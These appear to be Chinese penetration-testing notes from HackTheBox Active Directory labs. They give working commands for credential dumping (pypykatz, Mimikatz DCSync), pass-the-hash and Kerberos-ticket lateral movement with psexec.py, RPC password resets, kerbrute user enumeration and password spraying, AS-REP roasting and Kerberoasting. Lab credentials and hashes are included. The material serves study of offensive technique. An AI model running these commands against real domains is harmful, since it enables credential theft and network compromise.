windos工具和一些域渗透工具

Ctrl + Shift + D: 水平分割当前终端。

Ctrl + Shift + T 当前命令行多出一个窗口

使用 Pypykatz 提取哈希值(lsass.dmp)

这边的.dmp文件是在smb上面下载的

GitHub - skelsec/pypykatz: Mimikatz implementation in pure Python

pypykatz lsa minidump lsass.DMP

image-20231224090901933

横向移动工具

psexec.py

psexec.py 是 Impacket 套件的⼀部分,⽤于与 Windows 和 Windows protocols 进⾏交互,如SMB, MSRPC 和其他协议。 psexec.py 的原理基于 Windows 的远程过程调用(RemoteProcedure Call, RPC)和SMB(Server Message Block, 服务器消息块)协议。具体来说,它使⽤以下⽅式进⾏远程执⾏命令:

\1. 通过 SMB 在⽬标计算机上建⽴⼀个会话。

\2. 上传⼀个服务的可执⾏⽂件到⽬标计算机。

\3. 利⽤ MSRPC 服务控制管理器(Service Control Manager, SCM)创建和启动⼀个新服务,这个服务执⾏上传的可执⾏⽂件。

\4. ⼀旦执⾏完成,删除远程服务并删除上传的⽂件。默认情况下, psexec.py 主要使⽤以下端⼝:TCP 445:⽤于直接 SMB 通信。TCP 139:NetBIOS 会话服务,也⽤于 SMB 通信,但是⽐ 445 更早版本的 SMB 会使⽤这个端⼝。除了这些,还有其他的 MSRPC 端⼝可能会被⽤到,例如 TCP 135,但是在⼤多数情况下,端⼝445 和 139 是最主要的。⼀个重要的问题,基于如上对psexec.py的了解,你应知道为什么我现在想到⽤psexec.py了?为什么之前⽤户的时候不想到⽤,⽐如 jari 还有 3v4Si0N ,现在⽤⼀下看:

因为他们没有操作管理员⽬录的smb权限。

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]

└─$ export PATH=/usr/share/doc/python3-impacket/examples/:$PATH

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/PivotAPI]

└─$ psexec.py Administrador:61fSoAH78xpLNoY54ZCR@10.129.228.115

hash登入的

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 Administrator@10.129.104.62

rc4票据的使用

将票据复制到本机用base64解密

base64 -d ticket.kirbi.b64 > ticket.kirbi

然后改成impack可以用到格式

ticketConverter.py ticket.kirbi ticket.ccache

横向

KRB5CCNAME=ticket.ccache psexec.py support.htb/administrator@dc.support.htb -k -no-pass

还有什么横向⼯具,使⽤条件是什么?

近就Impacket中的来说吧,类似于 psexec.py 。以下是其中的⼀些:

\1. smbexec.py:与 psexec.py 类似的⼯具,它的⼯作⽅式略有不同。它不需要上传服务的可

执⾏⽂件,⽽是利⽤共享来执⾏命令。它更隐蔽,不容易被某些安全⼯具检测到。

\2. atexec.py:这个⼯具使⽤任务计划程序服务通过 SMB 远程执⾏命令。它将命令作为计划任务添加到⽬标机器,并⽴即执⾏。

\3. dcomexec.py:利⽤ DCOM (分布式组件对象模型) 进⾏远程代码执⾏。它使⽤已注册的

DCOM 应⽤程序(例如 MMC20.Application、ShellWindows 等)来执⾏命令。

\4. wmiexec.py:这是⼀个⾮常隐蔽的⼯具,它使⽤ WMI (Windows 管理⼯具) 进⾏远程命令执⾏。WMI 是⼀个强⼤的 Windows 管理⼯具,⽽这个脚本利⽤它的功能来执⾏命令。

使⽤条件的差异:⼤多数这些⼯具都需要具有对⽬标机器的有效认证(⽤户名和密码或哈希)。⼯具的⼯作⽅式不同,所依赖的远程服务也不同。 psexec.py 和 smbexec.py 需要 SMB 和 RPC 服务,⽽ wmiexec.py 则需要 WMI 服务。

防⽕墙/⽹络策略:如果⽬标⽹络有严格的防⽕墙或⽹络策略,可能会阻⽌某些端⼝或服务的访

问。根据所使⽤的⼯具和⽬标环境,你可能需要绕过或调整这些限制。

如果通过端⼝特征判断具体使⽤哪⼀个?

\1. psexec.py:主要依赖于 TCP 445 端⼝进⾏ SMB 通信。在某些情况下,早期版本的 SMB 可能会使⽤ TCP 139,但 445 是现代默认端⼝。

\2. smbexec.py:使⽤ TCP 445 进⾏ SMB 通信。在某些情况下,早期版本的 SMB 可能也会使⽤ TCP 139 端⼝。

\3. atexec.py:使⽤ TCP 445 进⾏ SMB 通信和 TCP 135 与 MS-RPC 端点映射服务交互,任务计划器服务的远程操作也通过这个端⼝。

\4. wmiexec.py:它初始化时通常使⽤ TCP 445 进⾏ SMB 通信,同时也使⽤ TCP 135 与 MS

RPC 端点映射服务交互。此外,WMI 通信可能还会使⽤动态分配的⾼端⼝,这通常是在 TCP

49152-65535 范围内,但具体的端⼝可能会因配置和 Windows 版本⽽异。

\5. dcomexec.py:使⽤ TCP 445 进⾏ SMB 通信和 TCP 135 进⾏ MS-RPC 端点映射服务通

信。与 WMI 类似,DCOM 也可能使⽤动态分配的⾼端⼝,通常在 TCP 49152-65535 范围内。

image-20231219093036707

reg.py

image-20231219093431589

reg.py --hashes 'xxxxxxxxx' -dc-ip htb.local htb.local/henry.vinson@htb.local query -keyName HKU//

HKU 主键下存有用户凭据相关的信息,渗透测试下常用,

先看software,因为存的都是用户,软件的凭据

image-20231219093517348

直接给了密码,如果没有要一个个往后看

image-20231219093552302

一些命令

\看⽤户组信息:>net groups /domain

>net groups "LAPS READ" /domain

net groups "LAPS ADM" /domain

net localgroup "administrator" 查看本地管理员

cmdkey /list命令在 Windows 中用于显示本地计算机上存储的凭据

Invoke-Mimikatz.ps1

PowerSploit/Exfiltration/Invoke-Mimikatz.ps1 at master · PowerShellMafia/PowerSploit · GitHub

Invoke-Mimikatz.ps1是一个 PowerShell 脚本,利用 Mimikatz 工具对 Windows 系统执行各种与凭据相关的攻击。Mimikatz 本身是一个强大的后利用工具,通常用于从 Windows 操作系统上的内存、凭证管理器和 LSASS(本地安全机构子系统服务)中提取纯文本密码、哈希值、PIN 码和 kerberos 票证。

该脚本是 PowerShell Empire 框架的一部分,该框架是一个开源后利用框架,可帮助渗透测试人员和红队人员模拟高级对手战术。它为不同的后利用活动提供了各种模块,并且Invoke-Mimikatz.ps1是这样的模块之一,可以更轻松地通过 PowerShell 使用 Mimikatz。

以下是一些常见用例Invoke-Mimikatz.ps1

  1. 凭证转储:它可用于从受感染的 Windows 系统的内存中提取纯文本密码、NTLM 哈希值和 Kerberos 票证。

  2. 哈希传递攻击:它允许攻击者从 LSASS 中提取密码哈希值,并使用它们对其他系统进行身份验证,而无需知道实际的明文密码。

  3. Kerberos 票证提取:它可以检索 Kerberos 票证,可用于进一步的攻击,包括 Kerberos 烘烤。

  4. 凭据滥用:一旦获得凭据,攻击者就可以滥用它们在网络内横向移动、升级权限或执行其他恶意活动。

Invoke-Mimikatz -Command '"lsadump::dcsync /domain:Egotistical-bank.local /user:Administrator"'

解密工具

hashcat john

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ (解密AES,在.xlm文件里面发现的)

当有一组凭据思路

现在我们是有⼀组⽤户名。还能在哪⼉找点,以增加成功的概率。可以,有web吗?rpc能访问吗?或者纯暴⼒破解。没有web。试⼀下RPC登录和纯暴⼒的。

无密码

###

DNS(dig)

每当我看到 DNS 时,都值得尝试区域传输。两者sauna.htbegotistical-bank.local未能返回任何内容:

dig @10.10.10.175 AXFR Egotistical-bank.local

RPC**匿名登录枚举用户名

rpcclient -U '' -N 10.129.228.115 可以help看帮助输入命令

  1. enumdomusers: 这个命令尝试枚举在目标Windows域中的用户列表。然而,由于访问被拒绝,无法获取用户信息。

  2. querydominfo: 这个命令用于查询目标Windows域的信息,包括域的名称、SID(安全标识符)等。由于访问被拒绝,无法获取域信息。

  3. srvinfo: 这个命令尝试初始化srvsvc服务,然后查询有关远程系统的信息,如操作系统版本、计算机名称等。然而,由于访问被拒绝,无法初始化srvsvc服务,导致无法获取相关信息。

sudo rpcclient 10.129.96.60 -p 135 rpc的默认密码是139

rpcclient代替adduser修改密码

rpcclient -U 'jari%Cos@Chung@!RPG' 10.129.228.115 (密码可以直接后面也可以输入

rpcclient $> setuserinfo2 gibdeon 23 'RedteamN0tes!'

gibden是用户名

rpcmap &&rpcdump(附带uuid解释与IOXIDResolver.py 解析网络地址)

sudo rpcclient 10.129.96.60 -p 135

用以下inpack里面的rpcdump

export PATH=/usr/share/doc/python3-impacket/examples:$PATH

rpcdump没有什么敏感信息,有一个uuid ( uuid dcom是基于网络的操作的每一个方法组件都有一个唯一标识符)

用rpcmap

爆破uuid和操作数 默认64所以久一点可以参数改

rpcmap.py ncacn_ip_tcp:10.129.96.60[135] -brute-uuids -brute-opnums

通过扫到的uuid值去goole上搜索 3和5是success 的 看一下跑了什么 server alive2,最后找到了这个工具

image-20231218232023028

这个可以取回网络地址 远程枚举ip 解析网卡地址 找到ipv6的,看看是否有效

GitHub - mubix/IOXIDResolver: IOXIDResolver.py from AirBus Security

./IOXIDResolver.py -t 10.129.96.60

image-20231218232113321

使用匿名 LDAP 搜索查找用户“hsmith”(ldapsearch)

如果没有任何凭据,无法从 Kerberos 找到很多信息,因此我将继续使用 LDAP 服务,看看是否可以从匿名会话中转储信息。

首先,获取域名库的查询是ldapsearch -x -H 10.10.10.175 -s base namingcontexts,其中:

  • -x- 简单的身份验证

  • -h 10.10.10.175- 主机查询

  • -s base- 将范围设置为基础

  • naming contexts- 返回命名上下文

下面这个会比上面的命令深入一点

可以用来-b 'DC=EGOTISTICAL-BANK,DC=LOCAL'获取有关域的信息

ldapsearch -x -H ldap://10.10.10.175 -b "dc=Egotistical-bank,dc=local"

ldapsearch -x -h 10.10.10.192 -b "dc=blackfield,dc=local"

有一组密码可以试试

ldapsearch -h 10.10.10.192 -b "DC=BLACKFIELD,DC=local" -D 'support@blackfield.local' -w '#00^BlackKnight' > support_ldap_dump

要枚举 LDAP,首先我将获取命名上下文:

root@kali# ldapsearch -h 10.10.10.182 -x -s base namingcontexts

image-20240106155017063

这边的数据也很多

如果我只想找到人,我可以提供一个查询::

ldapsearch -H ladp://10.10.10.182 -x -b "DC=cascade,DC=local" '(objectClass=person)' > lda-people

通过查看数据,Ryan Thompson 在最后有一个有趣的额外数据项cascadeLegacyPwd:这个数据有点多,可以直接grep cascadeLegacyPwd试试

另一个办法

ldapsearch -x -H ldap://10.10.10.182 -b "dc=cascade,dc=local"

image-20240106160921059

快速获取用户的脏列表

ldapsearch -x -H ldap://10.10.10.182 -b "dc=cascade,dc=local" | grep 'userPrincipalName' | tr '@' ' ' | awk '{print $2}' > users.txt

可以将这两个也加进去,我需要将两个用户添加到列表中:Administrator 和 krbtgt。

echo "Administrator" >> users.txt
echo "krbtgt" >> users.txt

然后我像这样运行 Kerbrute:

kerbrute.py -users users.txt -dc-ip 10.10.10.182 -domain cascade.local

不幸的是,没有一个帐户在输出中的名称旁边有“NO PREAUTH”。这意味着 AS-REP 烘焙不会轻易获胜。

一些帐户被禁用,值得注意,其余帐户均有效。

继续 LDAP 枚举,接下来我想要获取的是每个用户的列表以及有关其帐户的所有详细信息。

为此,我查找了一些可以在更精心设计的ldapsearch查询中使用的信息。

ldapsearch -x -H ldap://10.10.10.182 -b "dc=cascade,dc=local" | grep 'dn' | grep -i 'users'

image-20240106161149863

完美的!这告诉我需要如何编写下一个ldapsearch查询来转储有关每个用户的信息。我只需将“ou=Users,ou=UK”添加到我的原始查询中,它将转储有关每个域帐户的所有信息。

ldapsearch -x -H ldap://10.10.10.182 -b "ou=Users,ou=UK,dc=cascade,dc=local"

向下滚动到第一个用户“Steve Smith”,我可以看到查询提供了有关该帐户的大量信息,包括组成员身份、描述、上次登录/注销、UAC 等。

“描述”中可能有密码;然而,它并不存在于下面。

img

这里最有趣的是用户s.smith位于 Audit Share、Remote Management Users 和 IT 组中。

接下来,我决定要 grep 出用户及其组成员身份的列表,以便我知道哪些用户是“高目标”

ldapsearch -x -H ldap://10.10.10.182 -b "ou=Users,ou=UK,dc=cascade,dc=local" | grep -i '#\|memberof'

image-20240106161537806

惊人的!这提供了 4 个有趣的用户,绝对值得更仔细地研究。

由于我已经看到了 Steve Smith 的帐户信息(上面的截图),接下来我转向 Ryan Thompson,看看是否可以找到有关他帐户的有趣信息。

ldapsearch -x -H ldap://10.10.10.182 -b "ou=Users,ou=UK,dc=cascade,dc=local" | grep -A 50 -i "# Ryan Thompson"

image-20240106161852726

ldapdomaindump(比ldapsearch方便查看)

ldapdomaindump -u search.htb\hope.sharp -p 'IsolationIsKey?' 10.10.11.129 -o ldap/

这会创建一堆 HTML、Json 和 grepable 格式的文件:

oxdf@hacky$ ls ldap/
domain_computers_by_os.html  domain_computers.json  domain_groups.json  domain_policy.json  domain_trusts.json          domain_users.html
domain_computers.grep        domain_groups.grep     domain_policy.grep  domain_trusts.grep  domain_users_by_group.html  domain_users.json
domain_computers.html        domain_groups.html     domain_policy.html  domain_trusts.html  domain_users.grep

暴⼒破解域⽤户

kerbrute(区分用户是否纯在)

kerbrute 的⽤户名枚举基于⼀个Kerberos的特性:当⼀个不存在的⽤户尝试认证时,Kerberos返回⼀个特定的错误,通常是 KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN ,表示"客户端的身份未知"。但是,如果⽤户名存在但密码错误,Kerberos返回的是另⼀个错误,如

KRB5KDC_ERR_PREAUTH_FAILED 或相关的错误。基于这种⾏为, kerbrute 可以区分哪些⽤户名是存在的(但密码不正确)和哪些是不存在的。具体来说, kerbrute 会对提供的⽤户名列表中的每⼀个⽤户名发送⼀个带有错误密码的认证请求。

根据Kerberos的响应, kerbrute 可以确定⽤户名是否存在

git库在这⾥ GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcing

如果无go环境,需要安装sudo apt-get golang-go

然后进入文件夹,make linux

./kerbrute_linux_amd64 空命令显示帮助:

./kerbrute_linux_amd64 userenum --domain LicorDeBellota.htb --dc 10.129.228.115 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 500

userenum 通过 Kerberos 枚举有效的域用户名

爆破出三个有效⽤户名jari、administrador和sshd。

利用的收集的user_list

./kerbrute_linux_amd64 userenum -d htb.local --dc htb.local user_list

./kerbrute_linux_amd64 userenum --domain search.htb --dc 10.10.11.129 user_list -t 500

这个可以利用看密码是否有重用

kerbrute -domain blackfield.local -users users_final.txt -password '#00^BlackKnight' -dc-ip 10.10.10.192

nmap代替

也可以用nmap

sudo nmap -6 -p88 --script=krb5-enum-users --script-args krb5-enum-user.realm='htb.local',userdb=user_list htb.local 速度可能还快点

AS-REP Roasting

⼿⾥有⼀组⽤户名,可以尝试AS-REP Roasting攻击,看是否某个⽤户碰巧有UF_DONT_REQUIRE_PREAUTH 的标记设置为true,这个标记为真,将允许我们启动这个⽤户的kerberos认证过程,尽管我们不能成功认证,但在此过程中我们能得到hash,如果能破解就能推进我们的渗透。

这个尝试我们要⽤到impacket框架( GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols. )中的GetNPUsers.py⼯具。先让⼯具就位:

sudo updatedb

locate -i getnp

可以将路径 /usr/share/doc/python3-impacket/examples/ 加⼊到环境变量中,以便捷使⽤

impacket框架中的⼯具。

export PATH=$PATH:/usr/share/doc/python3-impacket/examples/

impacket

Completing external command 下面会罗列一堆类似impacket-addcomputer这种的

空命令可以看GetNPUsers.py的帮助信息

GetNPUsers.py

⼯具介绍中说明了这个⼯具的原理和⽤法:Queries target domain for users with 'Do not require Kerberos preauthentication' set and export their TGTs for cracking,即利⽤“不需要Kerberos预认证”的设置检索⽬标域⽤户,并导出其tgt以供破解。

这⾥涉及AS-REP Roasting这种破解,也拓展性地说明⼀下。

AS-REP Roasting是⼀种针对Kerberos身份验证协议的攻击⽅法。简单引⽤⼀点⼉Kerberos的知识作为背景,Kerberos是⼀种计算机⽹络身份验证协议,它允许两个通信实体(客户端和服务器)在不安全的⽹络上进⾏双向身份验证。当⽤户尝试登录⼀个使⽤Kerberos的系统时,该⽤户⾸先会请求⼀个TGT(票据授予票据,Ticket Granting Ticket ⽤来发放整个认证过程以及客户端访问服务端时所需的服务授予票据);这个请求是发送给AS(身份验证服务)。如果请求被批准,AS会返回⼀个加密的TGT。在默认的Kerberos配置中,当⽤户不存在或密码错误时,AS不会返回TGT。但如果在Kerberos中启⽤了“pre-authentication”(预身份验证),那么在AS返回TGT之前,⽤户⾸先需要提供⼀种证据,证明他们知道密码。这增加了额外的安全性。

然⽽,如果预身份验证被禁⽤,攻击者可以请求TGT,即使他们不知道⽤户的密码。AS会返回⼀个加密的TGT。攻击者随后可以尝试离线破解这个加密的TGT,以获得⽤户的密码。

这就是AS-REP roasting攻击的基础:利⽤Kerberos配置中禁⽤预身份验证的情况,请求和接收加密的TGT,然后尝试离线破解它。

详解kerberos认证原理 | Hero (seevae.github.io)

GetNPUsers.py -dc-ip 10.129.104.62 -request 'htb.local/'

GetNPUsers.py -no-pass -dc-ip 10.129.228.115 LicorDeBellota.htb/ -usersfile user_list

  • LicorDeBellota.htb/: 这是目标域的名称,结尾的斜杠表示这是一个域。

  • -usersfile user_list: 这是指定包含要执行ASREPRoasting攻击的用户列表的文件的选项。user_list 是包含目标用户的文件的名称。

    只获得kaorz的hash。jari、administrador和sshd均没有UF_DONT_REQUIRE_PREAUTH。

    拓展:为什么有的⽤户UF_DONT_REQUIRE_PREAUTH设置了,有的没设置,为什么会有这种需求?

    有这些种原因会导致设置了不需要验证:

    \1. 兼容性问题:早期的Kerberos客户端可能不⽀持预认证,所以某些⽤户可能已经设置了该标志以确保与这些早期的客户端兼容。

    \2. 简化身份验证:在某些情况下,管理员可能希望消除预认证步骤以简化身份验证过程,尽管这可能会增加安全⻛险。

    \3. 特定的应⽤程序或服务的要求:某些应⽤程序或服务可能在其身份验证流程中有特殊的需求,这可能要求禁⽤预认证。

    \4. 历史或配置错误:在某些情况下,该标志的配置可能是由于过去的配置错误或由于历史原因⽽被遗留下来的。

    \5. 安全策略或考虑:尽管禁⽤预认证可能会降低安全性,但在某些特定的环境或场景中,管理员可能有其他安全措施或策略考虑,导致他们选择禁⽤预认证。

    拓展 :有多少种roasting,区别是什么?

    "Roasting" 是⼀种利⽤ Kerberos 身份验证协议的某些特性以尝试离线破解密码的攻击⽅法。主要有两种常⻅的 "roasting" 攻击:AS-REP Roasting 和 Kerberoasting。以下是它们之间的区别:

    \1. AS-REP Roasting:

    针对哪些账户: 这种攻击针对的是那些 UF_DONT_REQUIRE_PREAUTH 标志已设置的账户。

    当这个标志被设置时,⽤户在获取 Kerberos Ticket Granting Ticket (TGT) 时不需要进⾏预认证。

    攻击⽅法: 攻击者⾸先尝试对这些不需要预认证的账户进⾏ Kerberos 初始化请求,Active Directory (AD) 会返回⼀个包含该⽤户加密密码的 AS-REP 响应。攻击者可以捕获这个响应并尝试离线破解它,以获取⽤户的明⽂密码。

    \2. Kerberoasting:

    针对哪些账户: 这种攻击针对的是那些关联了 Service Principal Name (SPN) 的账户。这通常是服务账户,例如数据库或web应⽤程序使⽤的账户。

    攻击⽅法: ⼀旦攻击者在 AD 环境中有⼀个有效的凭证(这不⼀定是⼀个⾼权限账户,普通⽤户凭证通常就⾜够了),他们就可以请求与特定 SPN 关联的服务票证。这些服务票证是使⽤服务账户的密码进⾏加密的。攻击者可以捕获这些票证并尝试离线破解,以获取服务账户的明⽂密码。

    主要的区别:

    AS-REP Roasting 针对的是设置了 UF_DONT_REQUIRE_PREAUTH 标志的账户,⽽Kerberoasting 针对的是关联了 SPN 的服务账户。

    AS-REP Roasting 不需要任何初始化的 AD 凭据,⽽ Kerberoasting 需要。

    两种攻击的⽬的都是获取加密的票证,然后进⾏离线破解以尝试获取明⽂密码。

    这些攻击都利⽤了 Kerberos 的设计特性,⽽不是真正的 "漏洞"。防范这些攻击的⽅法包括定期更s改和加固密码、监控可疑的 Kerberos 流量和活动,以及使⽤⾼级加密算法。

也可以使用crackmapexec

crackmapexec smb 10.10.10.52 -d htb.local -u htb.local/james -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt

有凭据密码

获得破解的密码Roper4155,即得到凭据: Kaorz:Roper4155 ,看这组凭据能⼲嘛?看端⼝和服务,22、1433、88都可以尝试。

尝试Kerberoasting
GetUserSPNs.py

GetUserSPNs.py -dc-ip 10.129.228.115 LicorDeBellota.htb/Kaorz:Roper4155

GetUserSP

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值